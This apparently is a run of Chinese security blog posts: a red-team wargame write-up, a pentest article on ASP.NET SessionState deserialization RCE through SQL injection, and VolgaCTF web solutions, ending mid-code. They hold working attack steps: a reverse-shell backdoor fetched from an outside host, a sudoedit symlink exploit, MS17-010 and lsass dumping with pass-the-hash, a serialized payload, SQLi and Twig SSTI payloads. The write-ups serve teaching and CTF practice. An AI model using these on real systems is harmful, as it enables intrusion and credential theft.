既然是 Red Team 當然少不了部署一個後門程式，最讓人興奮的莫過於使用自己製作的程式了！如果你沒看過我寫的 tsh-go，現在讓你看看：

GitHub - CykuTW/tsh-go: Tiny SHell Go - An open-source backdoor written in Go

Tiny SHell Go - An open-source backdoor written in Go - GitHub - CykuTW/tsh-go: Tiny SHell Go - An open-source backdoor written in Go

GitHubCykuTW

一行指令上線，立刻收到後門反向的連線，具備有完整 pty 可以操作，真是太興奮了！

$ cd /tmp;wget http://cyku.tw:8080/tshd -O tshd; chmod +x tshd; ./tshd -c cyku.tw -p 8081 -s matanene

[root@cyku tsh-go]$ ./tsh -s matanene -p 8081 cb
Waiting for the server to connect...connected.
www-data@ubuntu:/tmp$ id; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ubuntu

接著就是尋找提權至 root 的方式，手動看一下近期常見的有洞工具，最安全簡單的大概是 pkexec，但它的版本有洞嗎？來看看版本：

www-data@ubuntu:/tmp$ pkexec --version
pkexec version 0.105

嗯 ... ...

應該可以跑ㄅ，反正 exploit 無副作用，總之先跑跑看 PwnKit。

Shit.

只好再掏出秘密道具 \LinEnum/。

$ curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
[+] We can sudo without supplying a password!
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: /usr/bin/sudoedit /var/www/M30W/*/*/config.php

很好，這個看起來機會大得多，恰好 www-data 使用者也有權限寫入 /var/www/M30W/wp-content/themes/ 資料夾，就是不確定 sudoedit 能不能接受 symbolic link，先來測試一下讀取 /etc/shadow。

www-data@ubuntu:~/$ ln -s /etc/shadow /var/www/M30W/wp-content/themes/config.php

www-data@ubuntu:~/$ sudo /usr/bin/sudoedit /var/www/M30W/wp-content/themes/config.php
root:$6$kIPOT7C/e.3IFtaS$xs96SHbM6TmEhixEEflIFsc80q0dP/8BEyymxuo60Mq8V..eP/yvK8OiQ38W2AxFJqKSorNQCdT/a/3KaE0.k0:19189:0:99999:7:::

完美，再加上題目提到的 2222 port 其實就是 OpenSSH 服務，可以直接寫入一把 SSH key 到 /root/.ssh/authorized_keys，用 root 身分透過 2222 port 登入 SSH 拿到 pty，也可以用來打 tunnel。因此順利拿到了第 2 把 flag。

$ ssh root@www.pathnotfound.hitcon -i id_rsa -p 2222
root@ubuntu:~# cat /root/proof.txt
NTUST-ISC{cV3-2015-5602_15_FUnxDDDd}

3. Old-ButGold proof.txt

接下來就是進入橫向移動到 Windows 10 主機的階段了，題目有直接提供 Windows 10 的 IP，所以不用另外掃描，但我們沒有帳號密碼，還是得從目前的主機上找到可以使用的 credential，手動搜尋了一下，發現 WordPress 資料庫使用者看起來很可疑。

root@ubuntu:~# cat /var/www/M30W/wp-config.php
/** MySQL database username */
define( 'DB_USER', 'meow' );

/** MySQL database password */
define( 'DB_PASSWORD', 'meowmeowfatfat' );

腦補這組帳號密碼也存在 Windows 10 的本機使用者裡，並先試試登入 SMB 服務，雖然是成功登入了，可惜的是沒有任何權限，就是一般使用者。

# ssh root@www.pathnotfound.hitcon -i id_rsa -p 2222 -NfD 7777 

# echo 'socks5 127.0.0.1 7777' > proxychains.conf

# proxychains smbclient.py ./meow:meowmeowfatfat@192.168.120.20
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

Type help for list of commands
# use ADMIN$
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

既然沒有權限，那就來嘗試一些老的 exploit，召喚 MS17-010！

# msfconsole
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set PROXIES socks5:127.0.0.1:7777
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.120.20
msf6 auxiliary(scanner/smb/smb_ms17_010) > set SMBUser meow
msf6 auxiliary(scanner/smb/smb_ms17_010) > set SMBPass meowmeowfatfat
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.120.20:445     - Host is likely VULNERABLE to MS17-010! - Windows 10 Enterprise 14393 x64 (64-bit)
[*] 192.168.120.20:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

再次賓果。

由於多虧有一組普通使用者帳號，可以使用 Metasploit 的 auxiliary/admin/smb/ms17_010_command 模組，該模組利用了 MS17-010 系列漏洞先 information leak 後檢查完才覆寫記憶體，不用擔心會造成目標 BSOD，實在是居家旅行的必備良藥。

簡單驗證一下，果然成功，太棒了！我們取得一個安全又可重複以 system 權限在目標 Windows 10 上執行系統指令的能力。

msf6 auxiliary(scanner/smb/smb_ms17_010) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set PROXIES socks5:127.0.0.1:7777
msf6 auxiliary(admin/smb/ms17_010_command) > set SMBUser meow
msf6 auxiliary(admin/smb/ms17_010_command) > set SMBPass meowmeowfatfat
msf6 auxiliary(admin/smb/ms17_010_command) > set COMMAND whoami
msf6 auxiliary(admin/smb/ms17_010_command) > set RHOSTS 192.168.120.20
msf6 auxiliary(admin/smb/ms17_010_command) > run
[*] 192.168.120.20:445     - Authenticating to 192.168.120.20 as user 'meow'...
NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
[*] 192.168.120.20:445     - Target OS: Windows 10 Enterprise 14393
[*] 192.168.120.20:445     - Built a write-what-where primitive...
[+] 192.168.120.20:445     - Overwrite complete... SYSTEM session obtained!
[+] 192.168.120.20:445     - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.120.20:445     - Getting the command output...
[*] 192.168.120.20:445     - Executing cleanup...
[+] 192.168.120.20:445     - Cleanup was successful
[+] 192.168.120.20:445     - Command completed successfully!
[*] 192.168.120.20:445     - Output for "whoami":

nt authority\system

[*] 192.168.120.20:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

於是迅速地加入一個本機使用者帳號，準備要用 wmiexec.py 登進去大殺特殺時，

# > net user precure 1qaz@WSX /add
# > net localgroup administrators precure /add

$ proxychains wmiexec.py ./precure:1qaz@WSX@192.168.120.20
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[-] rpc_s_access_denied

目標主機是 Windows 10，大概是 UAC 阻擋了我們，同時還有 Windows Defender 的存在，此時我們有很多條路可以選擇，例如：

• 開啟 RDP，開放防火牆，登入
• 彈一個 system 反連 shell
• 強制關閉 UAC 但需要重啟
• ... ... 等

但身為一名具有高道德心、專業意識的紅隊演練人員兼白帽駭客兼資深工程師兼資訊專家，我必須發揮我所有的聰明才智，選擇變動最小、不會影響到服務運作的手段。

因此我選擇了：

總之我拿到了第 3 把 flag。

# proxychains wmiexec.py ./administrator:1qaz@WSX3edc@192.168.120.20
[proxychains] config file found: /root/wargame/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>type C:\users\meow\desktop\proof.txt
NTUST-ISC{0ld_BUT_90LD_R19Ht?}

Machine by aifred0729_TW

4. DC-Final proof.txt

終於來到最後一關的重頭戲 Domain Controller，為了方便後續操作，我再次部署了我的後門程式 tsh-go 在 Windows 10 主機上，沒錯！它支援 Windows，直接一行 PowerShell 上線。

# proxychains wmiexec.py ./administrator:1qaz@WSX3edc@192.168.120.20 -shell-type powershell
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\>Invoke-WebRequest -Uri 'http://cyku.tw:8080/tshd.exe' -OutFile 'C:\windows\temp\tshd.exe'; C:\windows\temp\tshd.exe -c cyku.tw -p 8082 -s matanene

有個讓人興奮的 pty 反連後門，可以開始做正事了，先確認目標有確實加入網域。

C:\>systeminfo

主機名稱:             OLD-BUTGOLD
作業系統名稱:         Microsoft Windows 10 企業版
作業系統版本:         10.0.14393 N/A 組建 14393
...
網域:                 NTUSTsec.hitcon

順便做一下後滲透 ( Post Exploitation ) 的工作，這個題組只要匯出 lsass.exe process 記憶體就可以得到下一步的線索，雖然只有一行 PowerShell 指令，但可是至關重要的一步呢！

C:\>tasklist /svc
lsass.exe                      576 KeyIso, Netlogon, SamSs, VaultSvc

C:\>powershell -c "rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 576 C:\Windows\Temp\lsass.dmp full"

個人愛好用 pypykatz 在 Linux 主機上直接分析。Yes！得到一組網域使用者和密碼雜湊。

# pypykatz lsa minidump lsass.dmp
== LogonSession ==
authentication_id 291158 (47156)
session_id 1
username old-cat
domainname NTUSTSEC
logon_server DC-FINAL
logon_time 2022-08-19T03:16:17.902758+00:00
sid S-1-5-21-894272653-2692002766-2005456273-1108
luid 291158
        == MSV ==
                Username: old-cat
                Domain: NTUSTSEC
                LM: NA
                NT: 0e989a5e07a70d89c1b68166f6e8ea01
                SHA1: 578a6ceab1172485361e7beb90a72e0258608fb1

接著是找到 DC 的 IP 位址 ...

C:\>nltest /dclist:NTUSTsec.hitcon
找不到可取得 DC 清單的 DC。Status = 1355 0x54b ERROR_NO_SUCH_DOMAIN
命令成功完成

一番尋找後，我還是想不出下一個關卡的線索在哪，只好再次使用最先進、最尖端的科技，工人智慧：

對，它壞了。

果然防禦駭客最好的方法就是拔除網路線。

作者協助確認後，似乎是目標的網路環境有點障礙，不過有提到 WinRM 服務應該還是正常的，只是必須要從 Windows 10 才可以連線到，不過這一切都不是問題，內建的指令兩行就可以搞定。

C:\>netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=45985 connectaddress=192.168.150.100 connectport=5985

C:\>netsh advfirewall firewall add rule name="Open Port 45985" dir=in action=allow protocol=TCP localport=45985
確定。

最後的最後，用從 lsass.exe 記憶體中取得的網域使用者和密碼雜湊，直接上 evil-winrm 取得第 4 把 flag，順利收工。

# proxychains evil-winrm -u old-cat -H 0e989a5e07a70d89c1b68166f6e8ea01 -i 192.168.120.20 -P 45985
Evil-WinRM shell v3.4

*Evil-WinRM* PS C:\Users\old-cat\Documents>type C:\Users\administrator\desktop\proof.txt
NTUST-ISC{M1m1K472_15_8357_700l}

Machine by aifred0729_TW

心得

真的很感謝作者 @aifred0729_TW 精心設計的這道題組，給了我很多樂趣，遊玩過程中真的讓我內心 waku waku 的，某些點有點通靈卻又很真實，有時候現實總是比小說還要離奇，尤其以 Red Team 為主的 wargame 個人覺得非常少見，畢竟要能建置出可以按照預期情境進行的環境，又要費心力照顧隨時可能被大家玩壞的機器，不禁讓人覺得是吃力不討好。總之真是太好玩了！

今日來聊聊在去年某次滲透測試過中發現的趣事，那是在一個風和日麗的下午，與往常一樣進行著枯燥的測試環節，對每個參數嘗試各種可能的注入，但遲遲沒有任何進展和突破，直到在某個頁面上注入 ?id=1; waitfor delay '00:00:05'--，然後他就卡住了，過了恰好 5 秒鐘後伺服器又有回應，這表示我們找到一個 SQL Server 上的 SQL Injection！

一些陳舊、龐大的系統中，因為一些複雜的因素，往往仍使用著 sa 帳戶來登入 SQL Server，而在有如此高權限的資料庫帳戶前提下，我們可以輕易利用 xp_cmdshell 來執行系統指令以取得資料庫伺服器的作業系統控制權，但假如故事有如此順利，就不會出現這篇文章，所以理所當然我們取得的資料庫帳戶並沒有足夠權限。但因為發現的 SQL Injection 是 Stacked based，我們仍然可以對資料表做 CRUD，運氣好控制到一些網站設定變數的話，甚至可以直接達成 RCE，所以還是試著 dump schema 以了解架構，而在 dump 過程中發現了一個有趣的資料庫：

Database: ASPState
[2 tables]
+---------------------------------------+
| dbo.ASPStateTempApplications          |
| dbo.ASPStateTempSessions              |
+---------------------------------------+

閱讀文件後了解到，這個資料庫的存在用途是用來保存 ASP.NET 網站應用程式的 session。一般情況下預設 session 是儲存在 ASP.NET 網站應用程式的記憶體中，但某些分散式架構（例如 Load Balance 架構）的情況下，同時會有多個一模一樣的 ASP.NET 網站應用程式運行在不同伺服器主機上，而使用者每次請求時被分配到的伺服器主機也不會完全一致，就會需要有可以讓多個主機共享 session 的機制，而儲存在 SQL Server 上就是一種解決方案之一，想啟用這個機制可以在 web.config 中添加如下設定：

<configuration>
    <system.web>
        <!-- 將 session 保存在 SQL Server 中。 -->
        <sessionState
            mode="SQLServer"
            sqlConnectionString="data source=127.0.0.1;user id=<username>;password=<password>"
            timeout="20"
        />
        
        <!-- 預設值，將 session 保存在記憶體中。 -->
        <!-- <sessionState mode="InProc" timeout="20" /> -->
 
        <!-- 將 session 保存在 ASP.NET State Service 中，
             另一種跨主機共享 session 的解決方案。 -->
        <!--
        <sessionState
            mode="StateServer"
            stateConnectionString="tcpip=localhost:42424"
            timeout="20"
        />
        -->
    </system.web>
</configuration>

而要在資料庫中建立 ASPState 的資料庫，可以利用內建的工具 C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe 完成這個任務，只需要使用下述指令即可：

# 建立 ASPState 資料庫
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssadd -sstype p

# 移除 ASPState 資料庫
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssremove -sstype p

現在我們了解如何設定 session 的儲存位置，且又可以控制 ASPState 資料庫，可以做到些什麼呢？這就是文章標題的重點，取得 Remote Code Execution！

ASP.NET 允許我們在 session 中儲存一些物件，例如儲存一個 List 物件：Session["secret"] = new List<String>() { "secret string" };，對於如何將這些物件保存到 SQL Server 上，理所當然地使用了序列化機制來處理，而我們又控制了資料庫，所以也能執行任意反序列化，為此需要先了解 Session 物件序列化與反序列化的過程。

簡單閱讀程式碼後，很快就可以定位出處理相關過程的類別，為了縮減說明的篇幅，以下將直接切入重點說明從資料庫取出資料後進行了什麼樣的反序列化操作。核心主要是透過呼叫 SqlSessionStateStore.GetItem 函式還原出 Session 物件，雖然已盡可能把無關緊要的程式碼移除，但行數還是偏多，如果懶得閱讀程式碼的朋友可以直接下拉繼續看文章說明 XD

namespace System.Web.SessionState {
    internal class SqlSessionStateStore : SessionStateStoreProviderBase {
        public override SessionStateStoreData  GetItem(HttpContext context,
                                                        String id,
                                                        out bool locked,
                                                        out TimeSpan lockAge,
                                                        out object lockId,
                                                        out SessionStateActions actionFlags) {
            SessionIDManager.CheckIdLength(id, true /* throwOnFail */);
            return DoGet(context, id, false, out locked, out lockAge, out lockId, out actionFlags);
        }

        SessionStateStoreData DoGet(HttpContext context, String id, bool getExclusive,
                                        out bool locked,
                                        out TimeSpan lockAge,
                                        out object lockId,
                                        out SessionStateActions actionFlags) {
            SqlDataReader       reader;
            byte []             buf;
            MemoryStream        stream = null;
            SessionStateStoreData    item;
            SqlStateConnection  conn = null;
            SqlCommand          cmd = null;
            bool                usePooling = true;

            buf = null;
            reader = null;
            conn = GetConnection(id, ref usePooling);

            try {
                if (getExclusive) {
                    cmd = conn.TempGetExclusive;
                } else {
                    cmd = conn.TempGet;
                }

                cmd.Parameters[0].Value = id + _partitionInfo.AppSuffix; // @id
                cmd.Parameters[1].Value = Convert.DBNull;   // @itemShort
                cmd.Parameters[2].Value = Convert.DBNull;   // @locked
                cmd.Parameters[3].Value = Convert.DBNull;   // @lockDate or @lockAge
                cmd.Parameters[4].Value = Convert.DBNull;   // @lockCookie
                cmd.Parameters[5].Value = Convert.DBNull;   // @actionFlags

                using(reader = SqlExecuteReaderWithRetry(cmd, CommandBehavior.Default)) {
                    if (reader != null) {
                        try {
                            if (reader.Read()) {
                                buf = (byte[]) reader[0];
                            }
                        } catch(Exception e) {
                            ThrowSqlConnectionException(cmd.Connection, e);
                        }
                    }
                }

                if (buf == null) {
                    /* Get short item */
                    buf = (byte[]) cmd.Parameters[1].Value;
                }

                using(stream = new MemoryStream(buf)) {
                    item = SessionStateUtility.DeserializeStoreData(context, stream, s_configCompressionEnabled);
                    _rqOrigStreamLen = (int) stream.Position;
                }
                return item;
            } finally {
                DisposeOrReuseConnection(ref conn, usePooling);
            }
        }
        
        class SqlStateConnection : IDisposable {
            internal SqlCommand TempGet {
                get {
                    if (_cmdTempGet == null) {
                        _cmdTempGet = new SqlCommand("dbo.TempGetStateItem3", _sqlConnection);
                        _cmdTempGet.CommandType = CommandType.StoredProcedure;
                        _cmdTempGet.CommandTimeout = s_commandTimeout;
                        // ignore process of setting parameters
                    }
                    return _cmdTempGet;
                }
            }
        }
    }
}

我們可以從程式碼清楚看出主要是呼叫 ASPState.dbo.TempGetStateItem3 Stored Procedure 取得 Session 的序列化二進制資料並保存到 buf 變數，最後將 buf 傳入 SessionStateUtility.DeserializeStoreData 進行反序列化還原出 Session 物件，而 TempGetStateItem3 這個 SP 則是相當於在執行 SELECT SessionItemShort FROM [ASPState].dbo.ASPStateTempSessions，所以可以知道 Session 是儲存在 ASPStateTempSessions 資料表的 SessionItemShort 欄位中。接著讓我們繼續往下看關鍵的 DeserializeStoreData 做了什麼樣的操作。同樣地，行數偏多，有需求的朋友請自行下拉 XD

namespace System.Web.SessionState {
    public static class SessionStateUtility {

        [SecurityPermission(SecurityAction.Assert, SerializationFormatter = true)]
        internal static SessionStateStoreData Deserialize(HttpContext context, Stream stream) {
            int                 timeout;
            SessionStateItemCollection   sessionItems;
            bool                hasItems;
            bool                hasStaticObjects;
            HttpStaticObjectsCollection staticObjects;
            Byte                eof;

            try {
                BinaryReader reader = new BinaryReader(stream);
                timeout = reader.ReadInt32();
                hasItems = reader.ReadBoolean();
                hasStaticObjects = reader.ReadBoolean();

                if (hasItems) {
                    sessionItems = SessionStateItemCollection.Deserialize(reader);
                } else {
                    sessionItems = new SessionStateItemCollection();
                }

                if (hasStaticObjects) {
                    staticObjects = HttpStaticObjectsCollection.Deserialize(reader);
                } else {
                    staticObjects = SessionStateUtility.GetSessionStaticObjects(context);
                }

                eof = reader.ReadByte();
                if (eof != 0xff) {
                    throw new HttpException(SR.GetString(SR.Invalid_session_state));
                }
            } catch (EndOfStreamException) {
                throw new HttpException(SR.GetString(SR.Invalid_session_state));
            }
            return new SessionStateStoreData(sessionItems, staticObjects, timeout);
        }
    
        static internal SessionStateStoreData DeserializeStoreData(HttpContext context, Stream stream, bool compressionEnabled) {
            return SessionStateUtility.Deserialize(context, stream);
        }
    }
}

我們可以看到實際上 DeserializeStoreData 又是把反序列化過程轉交給其他類別，而依據取出的資料不同，可能會轉交給 SessionStateItemCollection.Deserialize 或 HttpStaticObjectsCollection.Deserialize 做處理，在觀察程式碼後發現 HttpStaticObjectsCollection 的處理相對單純，所以我個人就選擇往這個分支下去研究。

namespace System.Web {
    public sealed class HttpStaticObjectsCollection : ICollection {
        static public HttpStaticObjectsCollection Deserialize(BinaryReader reader) {
            int     count;
            string  name;
            string  typename;
            bool    hasInstance;
            Object  instance;
            HttpStaticObjectsEntry  entry;
            HttpStaticObjectsCollection col;

            col = new HttpStaticObjectsCollection();

            count = reader.ReadInt32();
            while (count-- > 0) {
                name = reader.ReadString();
                hasInstance = reader.ReadBoolean();
                if (hasInstance) {
                    instance = AltSerialization.ReadValueFromStream(reader);
                    entry = new HttpStaticObjectsEntry(name, instance, 0);
                }
                else {
                    // skipped
                }
                col._objects.Add(name, entry);
            }

            return col;
        }
    }
}

跟進去一看，發現 HttpStaticObjectsCollection 取出一些 bytes 之後，又把過程轉交給 AltSerialization.ReadValueFromStream 進行處理，看到這的朋友們或許會臉上三條線地心想：「該不會又要追進去吧 . . 」，不過其實到此為止就已足夠，因為 AltSerialization 實際上類似於 BinaryFormatter 的包裝，到此已經有足夠資訊作利用，另外還有一個原因兼好消息，當初我程式碼追到此處時，上網一查這個物件，發現 ysoserial.net 已經有建立 AltSerialization 反序列化 payload 的 plugin，所以可以直接掏出這個利器來使用！下面一行指令就可以產生執行系統指令 calc.exe 的 base64 編碼後的 payload。

ysoserial.exe -p Altserialization -M HttpStaticObjectsCollection -o base64 -c "calc.exe"

不過到此還是有個小問題需要解決，ysoserial.net 的 AltSerialization plugin 所建立的 payload 是攻擊 SessionStateItemCollection 或 HttpStaticObjectsCollection 兩個類別的反序列化操作，而我們儲存在資料庫中的 session 序列化資料是由在此之上還額外作了一層包裝的 SessionStateUtility 類別處理的，所以必須要再做點修飾。回頭再去看看程式碼，會發現 SessionStateUtility 也只添加了幾個 bytes，減化後如下所示：

timeout = reader.ReadInt32();
hasItems = reader.ReadBoolean();
hasStaticObjects = reader.ReadBoolean();

if (hasStaticObjects)
    staticObjects = HttpStaticObjectsCollection.Deserialize(reader);

eof = reader.ReadByte();

對於 Int32 要添加 4 個 bytes，Boolean 則是 1 個 byte，而因為要讓程式路徑能進入 HttpStaticObjectsCollection 的分支，必須讓第 6 個 byte 為 1 才能讓條件達成，先將原本從 ysoserial.net 產出的 payload 從 base64 轉成 hex 表示，再前後各別添加 6、1 bytes，如下示意圖：

  timeout    false  true            HttpStaticObjectsCollection             eof
┌─────────┐  ┌┐     ┌┐    ┌───────────────────────────────────────────────┐ ┌┐
00 00 00 00  00     01    010000000001140001000000fff ... 略 ... 0000000a0b ff

修飾完的這個 payload 就能用來攻擊 SessionStateUtility 類別了！

最後的步驟就是利用開頭的 SQL Injection 將惡意的序列化內容注入進去資料庫，如果正常瀏覽目標網站時有出現 ASP.NET_SessionId 的 Cookie 就代表已經有一筆對應的 Session 記錄儲存在資料庫裡，所以我們只需要執行如下的 SQL Update 語句：

?id=1; UPDATE ASPState.dbo.ASPStateTempSessions
       SET SessionItemShort = 0x{Hex_Encoded_Payload}
       WHERE SessionId LIKE '{ASP.NET_SessionId}%25'; --

分別將 {ASP.NET_SessionId} 替換成自己的 ASP.NET_SessionId 的 Cookie 值以及 {Hex_Encoded_Payload} 替換成前面準備好的序列化 payload 即可。

那假如沒有 ASP.NET_SessionId 怎麼辦？這表示目標可能還未儲存任何資料在 Session 之中，所以也就不會產生任何記錄在資料庫裡，但既然沒有的話，那我們就硬塞一個 Cookie 給它！ASP.NET 的 SessionId 是透過亂數產生的 24 個字元，但使用了客製化的字元集，可以直接使用以下的 Python script 產生一組 SessionId，例如：plxtfpabykouhu3grwv1j1qw，之後帶上 Cookie: ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw 瀏覽任一個 aspx 頁面，理論上 ASP.NET 就會自動在資料庫裡添加一筆記錄。

import random
chars = 'abcdefghijklmnopqrstuvwxyz012345'
print(''.join(random.choice(chars) for i in range(24)))

假如在資料庫裡仍然沒有任何記錄出現，那就只能手動刻 INSERT 的 SQL 來創造一個記錄，至於如何刻出這部分？只要看看程式碼應該就可以很容易構造出來，所以留給大家自行去玩 :P

等到 Payload 順利注入後，只要再次用這個 Cookie ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw 瀏覽任何一個 aspx 頁面，就會觸發反序列化執行任意系統指令！

題外話，利用 SessionState 的反序列化取得 ASP.NET 網站應用程式主機控制權的場景並不僅限於 SQL Injection。在內網滲透測試的過程中，經常會遇到的情境是，我們透過各方的資訊洩漏 ( 例如：內部 GitLab、任意讀檔等 ) 取得許多 SQL Server 的帳號、密碼，但唯獨取得不了目標 ASP.NET 網站應用程式的 Windows 主機的帳號密碼，而為了達成目標 ( 控制指定的網站主機 )，我們就曾經使用過這個方式取得目標的控制權，所以作為內網橫向移動的手段也是稍微有價值且非常有趣。至於還能有什麼樣的花樣與玩法，就要靠各位持續地發揮想像力！

此篇文章同時發表於：DEVCORE Blog

這次一樣快速記錄 VolgaCTF 2020 Qualifier 的三道 Web 題目，因為沒有空而不能以 full time 模式來解題，所以只在抽空時間內來得及解出 3 題而已 QQ

Library - 150 分

這題一個簡單的登入、登出功能，登入後就可以看到有儲存書籍的列表。

其中背後查詢列表的 API 是透過 GraphQL 來查詢。

對於測試 GraphQL API 的起手式就是可以利用內建 Introspection 操作來請求取得所有 Query / Mutation 的 schema，嘗試找出隱藏、可以利用的 API。為了方便性，所以我使用 GraphQL CLI 這套工具來協助完成操作。

只要依照順序執行下面兩個指令，就能獲得目標上 GraphQL API 完整的 schema：

# 產生 .graphqlconfig 設定檔
$ graphql init  

# 取得 schema
$ graphql get-schema

而我取得的 schema 如下所示：

# source: http://library.q.2020.volgactf.ru:7781/api
# timestamp: Sat Mar 28 2020 20:23:14 GMT+0800 (GMT+08:00)

type Book {
  title: String!
  author: String!
  pic: String!
}

type LoginResponse {
  login: String
  name: String
  email: String
  token: String
}

input LoginUser {
  login: String
  password: String
}

type Mutation {
  _empty: String
  register(user: RegisterUser): String
}

type Query {
  _empty: String
  login(user: LoginUser): LoginResponse
  testGetUsersByFilter(filter: UserFilter): [User]
  books: [Book]
}

input RegisterUser {
  login: String
  password: String
  name: String
  email: String
}

type User {
  login: String
  name: String
  email: String
}

input UserFilter {
  login: String
  name: String
  email: String
}

其中發現一個有趣的 Query testGetUsersByFilter，這個 Query 可以利用 login、name、email 等三個欄位來查詢存在系統上的使用者，總而言之、言而總之，經過一番黑箱測試後我們發現有 SQL Injection XD，目標會刪除單引號字元，但可以用反斜線 \ 去把後方的單引號吃掉。

黑箱猜測會組成類似如下的 SQL：

SELECT * FROM users WHERE login = '$login' AND name = '$name'

所以讓 $login = meow\ 而 $name = union select 1,2,3,4,user(),6# 就可以組合出：

SELECT * FROM users WHERE login = 'meow\' AND name = 'union select 1,2,3,4,user(),6#'

就能利用 union 進行查詢以取得資料庫內容，而剩下的就是一些標準動作了。

最後取得 flag 的 Payload:

POST /api HTTP/1.1
Host: library.q.2020.volgactf.ru:7781
Accept: application/json
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://library.q.2020.volgactf.ru:7781/index.html
content-type: application/json
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Indvb2ZAbWFpbGluYXRvci5jb20iLCJuYW1lIjoid29vZiIsImxvZ2luIjoid29vZiIsImlhdCI6MTU4NTQ4OTA2MywiZXhwIjoxNTg1NDkyNjYzfQ.D54N_s5LVyUp7LXLZrwimAoA0bDi6WKACTv3NbOEpT0
origin: http://library.q.2020.volgactf.ru:7781
Content-Length: 272
Connection: close

{
    "query":"query testGetUsersByFilter($input: UserFilter) {testGetUsersByFilter(filter: $input){login name email}}",
    "variables":{
        "input":{
            "login":"meow\\",
            "name":"union select 1,2,3,4,flag,6 from flag#"
        }
    }
}

Flag：VolgaCTF{EassY_GgraPhQl_T@@Sk_ek3k12kckgkdak}

Newsletter - 200 分

這題是 PHP 白箱題，有提供 Source Code 如下：

<?php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Email;

class MainController extends AbstractController
{
    public function index(Request $request)
    {
      return $this->render('main.twig');
    }

    public function subscribe(Request $request, MailerInterface $mailer)
    {
      $msg = '';
      $email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
      if($email !== FALSE) {
        $name = substr($email, 0, strpos($email, '@'));

        $content = $this->get('twig')->createTemplate(
          "<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
        )->render();

        $mail = (new Email())->from('newsletter@newsletter.q.2020.volgactf.ru')->to($email)->subject('VolgaCTF Newsletter')->html($content);
        $mailer->send($mail);

        $msg = 'Success';
      } else {
        $msg = 'Invalid email';
      }
      return $this->render('main.twig', ['msg' => $msg]);
    }


    public function source()
    {
        return new Response('<pre>'.htmlspecialchars(file_get_contents(__FILE__)).'</pre>');
    }
}

從程式碼可以看到我們傳送過去 $email 變數會被取 @ 前方的字串指派給 $name，然後 $name 直接被帶入 Twig 的模板字串中並建立模板執行，所以這邊就有個 Twig 的 Server-Side Template Injection，但首先我們必須繞過 filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL) 這行的限制，必須是合法的 email 又包含模板語法。

而我的隊友在 Stack Overflow 上找到這篇文章：PHP FILTER_VALIDATE_EMAIL does not work correctly，底下回覆提供了頗為完整的合法 email 範例列表，其中可以看到一個很重要的範例："()<>[]:,;@\\"!#$%&'*+-/=?^_``{}| ~.a"@example.org，這個範例告訴我們，如果 email 中的 username 包括一些特殊符號，只要使用雙引號 " 將 username 包夾起來，就會被視為一個合法的 email，所以我們能構造 "{{3*4}}"@a.a 這樣的 Payload 就能躲過 filter_var 的限制。

接著就是嘗試作 SSTI 的利用，如果直接上網 Google，通常都會找到這樣的 Payload：

PayloadsAllTheThings/Server Side Template Injection

{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

這個 Payload 是利用內建 _self 變數來取得 \Twig\Template 的實例來執行惡意函式作利用，但如果去查官網 Documentation 會發現這個變數早已被棄用，現在只會回傳一個字串代表當前模板名稱 QQ，所以我們必須尋找新的利用方式。

在 Twig 模板裡面支援 filter 語法，可以呼叫內建或自定義的 filter 函式在輸出變數時對變數值作格式化或其他處理，譬如：{{ "aa"|upper }} 可以將 aa 在輸出時變成 AA。

於是我就以字串 new TwigFilter( 搜尋程式碼裡所有內建的 filter 函式，其中發現一個非常有趣的函式：

new TwigFilter('map', 'twig_array_map')

function twig_array_map($array, $arrow)
{
    $r = [];
    foreach ($array as $k => $v) {
